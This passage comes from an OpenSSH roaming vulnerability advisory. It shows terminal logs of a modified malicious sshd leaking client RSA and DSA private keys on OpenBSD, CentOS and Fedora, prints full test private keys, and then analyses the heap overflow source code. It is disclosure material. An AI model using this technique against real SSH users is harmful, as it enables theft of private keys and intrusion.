127.0.0.1\n[connection suspended, press return to resume][connection resumed]\n\n# cat /tmp/roaming-9448bb7f/infoleak\nMIIBugIBAAKBgQCEfEo25eMTu/xrpVQxBGEjW/WEfeH4jfqaCDluPBlcl5dFd8KP\ngrGm6fh8c+xdNYRg+ogHwM3uDG5aY62X804UGysCUoY5isSDkkwGrbbemHxR/Cxe\n4bxlIbQrw8KY39xLOY0hC5mpPnB01Cr+otxanYUTpsb8gpEngVvK619O0wIVAJwY\n8RLHmLnPaMFSOvYvGW6eZNgtAoGACkP73ltWMdHM1d0W8Tv403yRPaoCRIiTVQOw\noM8/PQ1JVFmBJxrJXtFJo88TevlDHLEghapj4Wvpx8NJY917bC425T2zDlJ4L9rP\nIeOjqy+HwGtDXjTHspmGy59CNe8E6vowZ3XM4HYH0n4GcwHvmzbhjJxYGmGJrng4\ncRh4VTwCgYAPxVV+3eA46WWZzlnttzxnrr/w/9yUC/DfrKKQ2OGSQ9zyVn7QEEI+\niUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To\n... \n\n# env ROAMING=\"client_out_buf_size:1024\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -p 222 127.0.0.1\n[connection suspended, press return to resume][connection resumed]\n\n# cat /tmp/roaming-279f5e2b/infoleak\n... \niUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To\nzEpLjvCtyTJcJgz2oHglVUJqGAx8CQJq2wS+eiSQqJbQpmexNa5GfwIUKbRxQKlh\nPHatTfiy5p82Q8+TD60=\n... \n\n------------------------------------------------------------------------\nPrivate Key Disclosure example: OpenBSD 5.4, 2048-bit RSA key\n------------------------------------------------------------------------\n\n$ head -n 1 /etc/motd\nOpenBSD 5.4 (GENERIC) #37: Tue Jul 30 15:24:05 MDT 2013\n\n$ /usr/bin/ssh -V\nOpenSSH_6.3, OpenSSL 1.0.1c 10 May 2012\n\n$ cat ~/.ssh/id_rsa\n-----BEGIN RSA PRIVATE KEY-----\nMIIEogIBAAKCAQEAzjortydu20T6wC6BhFzKNtVJ9uYSMOjWlghws4OkcXQtu+Cc\nVEhdal/HFyKyiNMAUDMi0gjOHsia8X4GS7xRNwSjUHOXnrvPne/bGF0d4DAxfAFL\n9bOwoNnBIEFci37YMOcGArvrEJ7hbjJhGTudekRU78IMOichpdYtkpkGUyGmf175\nynUpCcJdzngL8yF9Iezc8bfXAyIJjzjXmSVu9DypkeUBW28qIuMr5ksbekHcXhQn\nw8Y2oEDeyPSGIdWZQcVpdfaAk+QjCEs84c0/AvZoG2iY85OptjNDfynFJSDR5muU\nMANXJm5JFfC89fy0nGkQJa1FfNpPjUQY8hWz7QIDAQABAoIBAQC36R6FJrBw8PIh\noxezv8BB6DIe8gx0+6AqinpfTN3Ao9gJPYSMkUBlleaJllLbPDiCTSgXYOzYfRPY\nmwfoUJeo1gUCwSMM1vaPJZEhCCGVhcULjmh8RHQW7jqRllh+um74JX6xv34hA1+M\nk3cONqD4oamRa17WGYGjT/6yRq9iP/0AbBT+haRKYC4nKWrdkqEJXk10pM2kmH6G\n+umbybQrGrPf854VqOdftoku0WjBKrD0hsFZbB24rYmFj+cmbx+cDEqt03xjw+95\nn5xM/97jqB6rzkPAdRUuzNec+QNGMvA+4YpItF1vdEfd0N3Jl/VIQ+8ZAhANnvCt\n8uRHC7OhAoGBAO9PqmApW1CY+BeYDyqGduLwh1HVVZnEURQJprenOtoNxfk7hkNw\nrsKKdc6alWgTArLTEHdULU8GcZ6C0PEcszk2us3AwfPKko8gp2PD5t/8IW0cWxT5\ncMxcelFydu8MuikFthqNEX4tPNrZy4FZlOBGXCYlhvDqHk+U7kVIhkLFAoGBANyb\n3pLYm7gEs9zoL5HxEGvk9x2Ds9PlULcmc//p+4HCegE0tehMaGtygQKRQFuDKOJV\nWGKRjgls7vVXeVI2RABtYsT6OSBU9kNQ01EHzjOqN53O43e6GB4EA+W/GLEsffOZ\npCw09bOVvgClicyekO3kv0lsVvIfAWgxVQY0oZ8JAoGBAIyisquEYmeBHfsvn2oM\nT32agMu0pXOSDVvLODChlFJk2b1YH9UuOWWWXRknezoIQgO5Sen2jBHu5YKTuhqY\nFTNAWJNl/hU5LNv0Aqr8i4eB8lre2SAAXyuaBUAsFnzxa82Dz7rWwDr4dtTePVws\nuvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn\nzIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF\nALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1\n/tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk\nkRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS\nY1tzYFyta0xSod/NGoUd673IgfLnfiGMOLhy+9qhhwCqF10RiS0=\n-----END RSA PRIVATE KEY-----\n\n# env ROAMING=\"client_out_buf_size:2048\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume][connection resumed]\n\n# cat /tmp/roaming-35ee7ab0/infoleak\nMIIEogIBAAKCAQEAzjortydu20T6wC6BhFzKNtVJ9uYSMOjWlghws4OkcXQtu+Cc\nVEhdal/HFyKyiNMAUDMi0gjOHsia8X4GS7xRNwSjUHOXnrvPne/bGF0d4DAxfAFL\n9bOwoNnBIEFci37YMOcGArvrEJ7hbjJhGTudekRU78IMOichpdYtkpkGUyGmf175\nynUpCcJdzngL8yF9Iezc8bfXAyIJjzjXmSVu9DypkeUBW28qIuMr5ksbekHcXhQn\nw8Y2oEDeyPSGIdWZQcVpdfaAk+QjCEs84c0/AvZoG2iY85OptjNDfynFJSDR5muU\nMANXJm5JFfC89fy0nGkQJa1FfNpPjUQY8hWz7QIDAQABAoIBAQC36R6FJrBw8PIh\noxezv8BB6DIe8gx0+6AqinpfTN3Ao9gJPYSMkUBlleaJllLbPDiCTSgXYOzYfRPY\nmwfoUJeo1gUCwSMM1vaPJZEhCCGVhcULjmh8RHQW7jqRllh+um74JX6xv34hA1+M\nk3cONqD4oamRa17WGYGjT/6yRq9iP/0AbBT+haRKYC4nKWrdkqEJXk10pM2kmH6G\n+umbybQrGrPf854VqOdftoku0WjBKrD0hsFZbB24rYmFj+cmbx+cDEqt03xjw+95\nn5xM/97jqB6rzkPAdRUuzNec+QNGMvA+4YpItF1vdEfd0N3Jl/VIQ+8ZAhANnvCt\n8uRHC7OhAoGBAO9PqmApW1CY+BeYDyqGduLwh1HVVZnEURQJprenOtoNxfk7hkNw\nrsKKdc6alWgTArLTEHdULU8GcZ6C0PEcszk2us3AwfPKko8gp2PD5t/8IW0cWxT5\ncMxcelFydu8MuikFthqNEX4tPNrZy4FZlOBGXCYlhvDqHk+U7kVIhkLFAoGBANyb\n3pLYm7gEs9zoL5HxEGvk9x2Ds9PlULcmc//p+4HCegE0tehMaGtygQKRQFuDKOJV\nWGKRjgls7vVXeVI2RABtYsT6OSBU9kNQ01EHzjOqN53O43e6GB4EA+W/GLEsffOZ\npCw09bOVvgClicyekO3kv0lsVvIfAWgxVQY0oZ8JAoGBAIyisquEYmeBHfsvn2oM\nT32agMu0pXOSDVvLODChlFJk2b1YH9UuOWWWXRknezoIQgO5Sen2jBHu5YKTuhqY\nFTNAWJNl/hU5LNv0Aqr8i4eB8lre2SAAXyuaBUAsFnzxa82Dz7rWwDr4dtTePVws\nuvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn\nzIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF\nALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1\n/tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk\nkRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS\n\n$ /usr/bin/ssh -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume][connection resumed]\n\n# cat /tmp/roaming-6cb31d82/infoleak\n... \nuvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn\nzIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF\nALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1\n/tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk\nkRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS\nY1tzYFyta0xSod/NGoUd673IgfLnfiGMOLhy+9qhhwCqF10RiS0=\n\n------------------------------------------------------------------------\nPrivate Key Disclosure example: OpenBSD 5.8, 2048-bit RSA key\n------------------------------------------------------------------------\n\n$ head -n 1 /etc/motd\nOpenBSD 5.8 (GENERIC) #1066: Sun Aug 16 02:33:00 MDT 2015\n\n$ /usr/bin/ssh -V\nOpenSSH_7.0, LibreSSL 2.2.2\n\n$ cat ~/.ssh/id_rsa\n-----BEGIN RSA PRIVATE KEY-----\nMIIEpAIBAAKCAQEAwe9ssfYbABhOGxnBDsPf5Hwypr3tVz4ZCK2Q9ZWWBYnk+KVL\nruLv7NWzeuKF7ls8z4SdpP/09QIIWQO5xWmQ7OM7ndfHWexFoyS/MijorHLvwG1s\n17KFF8aC5vcBTfVkWnFaERueyd+mxv+oIrskA3/DK7/Juojkq70aPAdafiWOuVT8\nL/2exFuzpSmwiXbPuiPgImO9O+9VQ4flZ4qlO18kZxXF948GisxxkceOYWTIX6uh\nxSs/NEGF/drmB4RTAL1ZivG+e4IMxs5naLz4u3Vb8WTDeS6D62WM1eq5JRdlZtGP\nvavL01Kv3sYFvoD0OPUU4BjU8bd4Qb30C3719wIDAQABAoIBAG4zFpipN/590SQl\nJka1luvGhyGoms0QRDliJxTlwzGygaGoi7D800jIxgv13BTtU0i4Grw/lXoDharP\nKyi6K9fv51hx3J2EXK2vm9Vs2YnkZcf6ZfbLQkWYT5nekacy4ati7cL65uffZm19\nqJTTsksqtkSN3ptYXlgYRGgH5av3vaTSTGStL8D0e9fcrjSdN0UntjBB7QGT8ZnY\ngQ1bsSlcPM/TB6JYmHWdpCAVeeCJdDhYoHKlwgQuTdpubdlM80f6qat7bsm95ZTK\nQolQFpmAXeU4Bs5kFlm0K0qYFkWNdI16ScOpK6AQZGUTcHICeRL3GEm6NC0HYBNt\ngKHPucECgYEA7ssL293PZR3W9abbivDxvtCjA+41L8Rl8k+J0Dj0QTQfeHxHD2eL\ncQO2lx4N3E9bJMUnnmjxIT84Dg7SqOWThh3Rof+c/vglyy5o/CzbScISQTvjKfuB\n+s5aNojIqkyKaesQyxmdacLxtBBppZvzCDTHBXvAe4t8Bus2DPBzbzsCgYEAz+jl\nhcsMQ1egiVVpxHdjtm3+D1lbgITk0hzIt9DYEIMBJ7y5Gp2mrcroJAzt7VA2s7Ri\nhBSGv1pjz4j82l00odjCyiUrwvE1Gs48rChzT1PcQvtPCCanDvxOHwpKlUTdUKZh\nvhxPK/DW3IgUL0MlaTOjncR1Zppz4xpF/cSlYHUCgYB0MhVZLXvHxlddPY5C86+O\nnFNWjEkRL040NIPo8G3adJSDumWRl18A5T+qFRPFik/depomuQXsmaibHpdfXCcG\n8eeaHpm0b+dkEPdBDkq+f1MGry+AtEOxWUwIkVKjm48Wry2CxroURqn6Zqohzdra\nuWPGxUsKUvtNGpM4hKCHFQKBgQCM8ylXkRZZOTjeogc4aHAzJ1KL+VptQKsYPudc\nprs0RnwsAmfDQYnUXLEQb6uFrVHIdswrGvdXFuJ/ujEhoPqjlp5ICPcoC/qil5rO\nZAX4i7PRvSoRLpMnN6mGpaV2mN8pZALzraGG+pnPnHmCqRTdw2Jy/NNSofdayV8V\n8ZDkWQKBgQC2pNzgDrXLe+DIUvdKg88483kIR/hP2yJG1V7s+NaDEigIk8BO6qvp\nppa4JYanVDl2TpV258nE0opFQ66Q9sN61SfWfNqyUelZTOTzJIsGNgxDFGvyUTrz\nuiC4d/e3Jlxj21nUciQIe4imMb6nGFbUIsylUrDn8GfA65aePLuaSg==\n-----END RSA PRIVATE KEY-----\n\n# \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -o ProxyCommand=\"/usr/bin/nc -w 1 %h %p\" -p 222 127.0.0.1\n[connection suspended, press return to resume]Segmentation fault (core dumped)\n\n(this example requires a ProxyCommand because of the NULL-aitop bug\ndescribed in the Mitigating Factors of the Information Leak section, and\ncrashes because of the NULL-pointer dereference discussed in the\nMitigating Factors of the Buffer Overflow section)\n\n# cat /tmp/roaming-a5eca355/infoleak\nry+AtEOxWUwIkVKjm48Wry2CxroURqn6Zqohzdra\nuWPGxUsKUvtNGpM4hKCHFQKBgQCM8ylXkRZZOTjeogc4aHAzJ1KL+VptQKsYPudc\nprs0RnwsAmfDQYnUXLEQb6uFrVHIdswrGvdXFuJ/ujEhoPqjlp5ICPcoC/qil5rO\nZAX4i7PRvSoRLpMnN6mGpaV2mN8pZALzraGG+pnPnHmCqRTdw2Jy/NNSofdayV8V\n8ZDkWQKBgQC2pNzgDrXLe+DIUvdKg88483kIR/hP2yJG1V7s+NaDEigIk8BO6qvp\nppa4JYanVDl2TpV258nE0opFQ66Q9sN61SfWfNqyUelZTOTzJIsGNgxDFGvyUTrz\nuiC4d/e3Jlxj21nUciQIe4imMb6nGFbUIsylUrDn8GfA65aePLuaSg==\n\n------------------------------------------------------------------------\nPrivate Key Disclosure example: CentOS 7, 1024-bit DSA key\n------------------------------------------------------------------------\n\n$ grep PRETTY_NAME= /etc/os-release\nPRETTY_NAME=\"CentOS Linux 7 (Core)\"\n\n$ /usr/bin/ssh -V\nOpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013\n\n$ cat ~/.ssh/id_dsa\n-----BEGIN DSA PRIVATE KEY-----\nMIIBvQIBAAKBgQDmjJYHvennuPmKGxfMuNc4nW2Z1via6FkkZILWOO1QJLB5OXqe\nkt7t/AAr+1n0lJbC1Q8hP01LFnxKoqqWfHQIuQL+S88yr5T8KY/VxV9uCVKpQk5n\nGLnZn1lmDldNaqhV0ECESXZVEpq/8TR2m2XjSmE+7Y14hI0cjBdnOz2X8wIVAP0a\nNmtvmc4H+iFvKorV4B+tqRmvAoGBAKjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC\no7l7mJT+lI9vTrQsu3QCLAUZnmVHAIj/m9juk8kXkZvEBXJuPVdL0tCRNAsCioD2\nhUaU7sV6Nho9fJIclxuxZP8j+uzidQKKN/+CVbQougsLsBlstpuQ4Hr2DHmalL8X\niISkLhuyAoGBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l\nB7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZN2hfXITp9/4oatxFUV5V8aniqyq4Kwj/\nQlCmHO7eRlPArhylx8uRnoHkbTRe+by5fmPImz/3WUtgPnx8y3NOEsCtAhUApdtS\nF9AoVoZFKEGn4FEoYIqY3a4=\n-----END DSA PRIVATE KEY-----\n\n# env ROAMING=\"heap_massaging:linux\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -p 222 127.0.0.1\n... \n\n# strings /tmp/roaming-b7b16dfc/infoleak\njJYHvennuPmKGxfMuNc4nW2Z1via6FkkZILWOO1QJLB5OXqe\nkt7t/AAr+1n0lJbC1Q8hP01LFnxKoqqWfHQIuQL+S88yr5T8KY/VxV9uCVKpQk5\n\n# strings /tmp/roaming-b324ce87/infoleak\nIuQL\nR2m2XjSmE+7Y14hI0cjBdnOz2X8wIVAP0a\nNmtvmc4H+iFvKorV4B+tqRmvAoGBAKjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC\no7l7mJT+lI9v\n\n# strings /tmp/roaming-24011739/infoleak\nKjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC\no7l7mJT+lI9vTrQsu3QCLAUZnmVHAIj/m9juk8kXkZvEBXJuPVdL0tCRNAsC\n\n# strings /tmp/roaming-37456846/infoleak\nLsBlstpuQ4Hr2DHmalL8X\niISkLhuyAoGBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l\nB7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZNA\nyq4Kwj/\n\n# strings /tmp/roaming-988ff54c/infoleak\nGBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l\nB7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZN2hfXITp9/4oatxFUV5V8aniqyq4Kwj/\n\n# strings /tmp/roaming-53887fa5/infoleak\n/4oatxFUV5V8aniqyq4Kwj/\nQlCmHO7eRlPArhylx8uRnoHkbTRe+by5fmPImz/3WUtgPnx8y3NOEsCtAhUApdtS\nF9AoVoZFKEGn4FEoYIqY3a4\n\n------------------------------------------------------------------------\nPrivate Key Disclosure example: Fedora 20, 2048-bit RSA key\n------------------------------------------------------------------------\n\n$ grep PRETTY_NAME= /etc/os-release\nPRETTY_NAME=\"Fedora 20 (Heisenbug)\"\n\n$ /usr/bin/ssh -V\nOpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013\n\n$ cat ~/.ssh/id_rsa\n-----BEGIN RSA PRIVATE KEY-----\nMIIEogIBAAKCAQEAmbj/XjOppLWSAhuLKiRoHsdp66LJdY2PvP0ht3GWDKKCk7Gz\nHLas5VjotS9rmupavGGDiicMHPClOttWAI9MRyvP77iZhSei/RzX1/UKk/broTDp\no9ljBnQTzRAyw8ke72Ih77SOGfOLBvYlx80ZmESLYYH95aAeuuDvb236JnsgRPDQ\n/B/gyRIhfqis70USi05/ZbnAenFn+v9zoSduDYMzSM8mFmh9f+9PVb9qMHdfNkIy\n2E78kt9BknU/bEcCWyL+IXNLV0rgRGAcE0ncKu13YvuH/7o4Q7bW2FYErT4P/FHK\ncRmpbVfAzJQb85uXUXaNLVW0A/gHqTaGCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt\nj737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CGLj61BS8CfKVp9V7+Gc4P/o\n6GEmk/oB9w9gf1zGqWkTytMiqcawMW4LZAJlSI/rGWe7lYHuceZSSgzd5lF4VP06\nXz/wTMkSDZh/M6zOnQhImcLforsiPbTKKIVLL6u13VUmDcYfaBh9VepjyN8i+KIV\nJQB26MlXSxuAp8o0BQUI8FY/dsObJ9xjMT/u2+prtAxpPNfKElEV7ZPBrTRAuCUr\nHiy7yflZ3w0qHekNafX/tnWiU4zi/p6aD4rs10YaYSnSolsDs2k8wHbVP4VtLE8l\nPRfXS6ECgYEAyVf7Pr3TwTa0pPEk1dLz3XHoetTqUND/0Kv+i7MulBzJ4LbcsTEJ\nrtOuGGpLrAYlIvCgT+F26mov5fRGsjjnmP3P/PsvzR8Y9DhiWl9R7qyvNznQYxjo\n/euhzdYixxIkfqyopnYFoER26u37/OHe37PH+8U1JitVrhv7s4NYztECgYEAw3Ot\ngxMqsKh42ydIv1sBg1QEHu0TNvyYy7WCB8jnMsygUQ8EEJs7iKP//CEGRdDAwyGa\njwj3EZsXmtP+wd3fhge7pIHp5RiKfBn0JtSvXQQHO0k0eEcQ4aA/6yESI62wOuaY\nvJ+q7WMo1wHtMoqRPtW/OAxUf91dQRtzK/GpRuMCgYAc7lh6vnoT9FFmtgPN+b7y\n3fBC3h9BN5banCw6VKfnvm8/q+bwSxSSG3aTqYpwEH37lEnk0IfuzQ1O5JfX+hdF\nQ4tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmTOun5zVV6EixsmDn80P\npdyhj8fAUU/BceHr/H6hUQKBgCX5SqPlzGyIPvrtVf//sXqPj0Fm9E3Bo/ooKLxU\ndz7ybM9y6GpFjrqMioa07+AOn/UJiVry9fXQuTRWre+CqRQEWpuqtgPR0c4syLfm\nqK+cwb7uCSi5PfloRiLryPdvnobDGLfFGdOHaX7km+4u5+taYg2Er8IsAxtMNwM5\nr5bbAoGAfxRRGMamXIha8xaJwQnHKC/9v7r79LPFoht/EJ7jw/k8n8yApoLBLBYp\nP/jXU44sbtWB3g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCBqosVbEQhNKZAj+\nZS16+aH97RKdJD/4qiskzzHvZs+wi4LKPHHHz7ETXr/m4CRfMIU=\n-----END RSA PRIVATE KEY-----\n\n# env ROAMING=\"heap_massaging:linux\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -p 222 127.0.0.1\n... \n\n# strings /tmp/roaming-a2bbc5f6/infoleak\ncRmpbVfAzJQb85uXUXaNLVW0A/gHqTaGCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt\nj737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CG\n\n# strings /tmp/roaming-47b46456/infoleak\nRGAcE0nc\nGCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt\nj737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CGLj61BS8CfKVp9V7+Gc4P/o\n6GEmk/oB9\n\n# strings /tmp/roaming-7a6717ae/infoleak\ncawMW4LZ1\nXz/wTMkSDZh/M6zOnQhImcLforsiPbTKKIVLL6u13VUmDcYfaBh9VepjyN8i+KIV\nJQB26MlXSxuAp8o0BQUI8FY/dsObJ9xjMT/u2+p\n\n# strings /tmp/roaming-f3091f08/infoleak\nlZ3w0qHe\nnSolsDs2k8wHbVP4VtLE8l\nPRfXS6ECgYEAyVf7Pr3TwTa0pPEk1dLz3XHoetTqUND/0Kv+i7MulBzJ4LbcsTEJ\n\n# strings /tmp/roaming-62a9e9a3/infoleak\nlZ3w0qHe\nr3TwTa0pPEk11\nLbcsTEJ\nrtOuGGpLrAYlIvCgT+F26mov5fRGsjjnmP3P/PsvzR8Y9DhiWl9R7qyvNznQYxjo\n/euhzdYixxIkfqyopnYFoER26u37/OHe37P\n\n# strings /tmp/roaming-8de31ed5/infoleak\n7qyvNznQ\n26u37/OHe37PH+8U1JitVrhv7s4NYztECgYEAw3Ot\ngxMqsKh42ydIv1sBg1QEHu0TNvyYy7WCB8jnMsygUQ8EEJs7iKP//CEGRdDAwyGa\n\n# strings /tmp/roaming-f5e0fbcc/infoleak\nyESI62wOuaY\nvJ+q7WMo1wHtMoqRPtW/OAxUf91dQRtzK/GpRuMCgYAc7lh6vnoT9FFmtgPN+b7y\n3fBC3h9BN5banCw6VKfnvm8/q+bwSxS\n\n# strings /tmp/roaming-9be933df/infoleak\nQRtzK/GpRuMC1\nC3h9BN5banCw6VKfnvm8/q+bwSxSSG3aTqYpwEH37lEnk0IfuzQ1O5JfX+hdF\nQ4tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmT\n\n# strings /tmp/roaming-ee4d1e6c/infoleak\nSG3aTqYp\ntEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmTOun5zVV6EixsmDn80P\npdyhj8fAUU/BceHr/H6hUQKBgCX5SqPlzGyIPvrtVf//s\n\n# strings /tmp/roaming-c2bfd69c/infoleak\nSG3aTqYp\n6JmTOun5zVV6A\nH6hUQKBgCX5SqPlzGyIPvrtVf//sXqPj0Fm9E3Bo/ooKLxU\ndz7ybM9y6GpFjrqMioa07+AOn/UJiVry9fXQuTRWre+CqRQEWpuqtgPR0c4s\n\n# strings /tmp/roaming-2b3217a1/infoleak\nDGLfFGdO\nr5bbAoGAfxRRGMamXIha8xaJwQnHKC/9v7r79LPFoht/EJ7jw/k8n8yApoLBLBYp\nP/jXU44sbtWB3g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCQ\n\n# strings /tmp/roaming-1e275747/infoleak\ng3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCBqosVbEQhNKZAj+\n\n\n========================================================================\nBuffer Overflow (CVE-2016-0778)\n========================================================================\n\n------------------------------------------------------------------------\nAnalysis\n------------------------------------------------------------------------\n\nSupport for roaming was elegantly added to the OpenSSH client: the calls\nto read() and write() that communicate with the SSH server were replaced\nby calls to roaming_read() and roaming_write(), two wrappers that depend\non wait_for_roaming_reconnect() to transparently reconnect to the server\nafter a disconnection. The wait_for_roaming_reconnect() routine is\nessentially a sequence of four subroutines:\n\n239 int\n240 wait_for_roaming_reconnect(void)\n241 {\n... \n250 fprintf(stderr, \"[connection suspended, press return to resume]\");\n... \n252 packet_backup_state();\n253 /* TODO Perhaps we should read from tty here */\n254 while ((c = fgetc(stdin)) != EOF) {\n... \n259 if (c != \u0027\\n\u0027 \u0026\u0026 c != \u0027\\r\u0027)\n260 continue;\n261\n262 if (ssh_connect(host, \u0026hostaddr, options.port,\n... \n265 options.proxy_command) == 0 \u0026\u0026 roaming_resume() == 0) {\n266 packet_restore_state();\n... \n268 fprintf(stderr, \"[connection resumed]\\n\");\n... \n270 return 0;\n271 }\n272\n273 fprintf(stderr, \"[reconnect failed, press return to retry]\");\n... \n275 }\n276 fprintf(stderr, \"[exiting]\\n\");\n... \n278 exit(0);\n279 }\n\n1. packet_backup_state() close()s connection_in and connection_out (the\nold file descriptors that connected the client to the server), and saves\nthe state of the suspended SSH session (for example, the encryption and\ndecryption contexts). \n\n2. ssh_connect() opens new file descriptors, and connects them to the\nSSH server. \n\n3. roaming_resume() negotiates the resumption of the suspended SSH\nsession with the server, and calls resend_bytes(). \n\n4. packet_restore_state() updates connection_in and connection_out (with\nthe new file descriptors that connect the client to the server), and\nrestores the state of the suspended SSH session. \n\nThe new file descriptors for connection_in and connection_out may differ\nfrom the old ones (if, for example, files or pipes or sockets are opened\nor closed between two successive ssh_connect() calls), but unfortunately\nhistorical code in OpenSSH assumes that they are constant:\n\n- In client_loop(), the variables connection_in and connection_out are\n cached locally, but packet_write_poll() calls roaming_write(), which\n may assign new values to connection_in and connection_out (if a\n reconnection occurs), and client_wait_until_can_do_something()\n subsequently reuses the old, cached values. \n\n- client_loop() eventually updates these cached values, and the\n following FD_ISSET() uses a new, updated file descriptor (the fd\n connection_out), but an old, out-of-date file descriptor set (the\n fd_set writeset). \n\n- packet_read_seqnr() (old API, or ssh_packet_read_seqnr(), new API)\n first calloc()ates setp, a file descriptor set for connection_in;\n next, it loops around memset(), FD_SET(), select() and roaming_read();\n last, it free()s setp and returns. Unfortunately, roaming_read() may\n reassign a higher value to connection_in (if a reconnection occurs),\n but setp is never enlarged, and the following memset() and FD_SET()\n may therefore overflow setp (a heap-based buffer overflow):\n\n1048 int\n1049 packet_read_seqnr(u_int32_t *seqnr_p)\n1050 {\n.... \n1052 fd_set *setp;\n.... \n1058 setp = (fd_set *)xcalloc(howmany(active_state-\u003econnection_in + 1,\n1059 NFDBITS), sizeof(fd_mask));\n.... \n1065 for (;;) {\n.... \n1075 if (type != SSH_MSG_NONE) {\n1076 free(setp);\n1077 return type;\n1078 }\n.... \n1083 memset(setp, 0, howmany(active_state-\u003econnection_in + 1,\n1084 NFDBITS) * sizeof(fd_mask));\n1085 FD_SET(active_state-\u003econnection_in, setp);\n.... \n1092 for (;;) {\n.... \n1097 if ((ret = select(active_state-\u003econnection_in + 1, setp,\n1098 NULL, NULL, timeoutp)) \u003e= 0)\n1099 break;\n.... \n1115 }\n.... \n1117 do {\n.... \n1119 len = roaming_read(active_state-\u003econnection_in, buf,\n1120 sizeof(buf), \u0026cont);\n1121 } while (len == 0 \u0026\u0026 cont);\n.... \n1130 }\n1131 /* NOTREACHED */\n1132 }\n\n- packet_write_wait() (old API, or ssh_packet_write_wait(), new API) is\n basically similar to packet_read_seqnr() and may overflow its own setp\n if roaming_write() (called by packet_write_poll()) reassigns a higher\n value to connection_out (after a successful reconnection):\n\n1739 void\n1740 packet_write_wait(void)\n1741 {\n1742 fd_set *setp;\n.... \n1746 setp = (fd_set *)xcalloc(howmany(active_state-\u003econnection_out + 1,\n1747 NFDBITS), sizeof(fd_mask));\n1748 packet_write_poll();\n1749 while (packet_have_data_to_write()) {\n1750 memset(setp, 0, howmany(active_state-\u003econnection_out + 1,\n1751 NFDBITS) * sizeof(fd_mask));\n1752 FD_SET(active_state-\u003econnection_out, setp);\n.... \n1758 for (;;) {\n.... \n1763 if ((ret = select(active_state-\u003econnection_out + 1,\n1764 NULL, setp, NULL, timeoutp)) \u003e= 0)\n1765 break;\n.... \n1776 }\n.... \n1782 packet_write_poll();\n1783 }\n1784 free(setp);\n1785 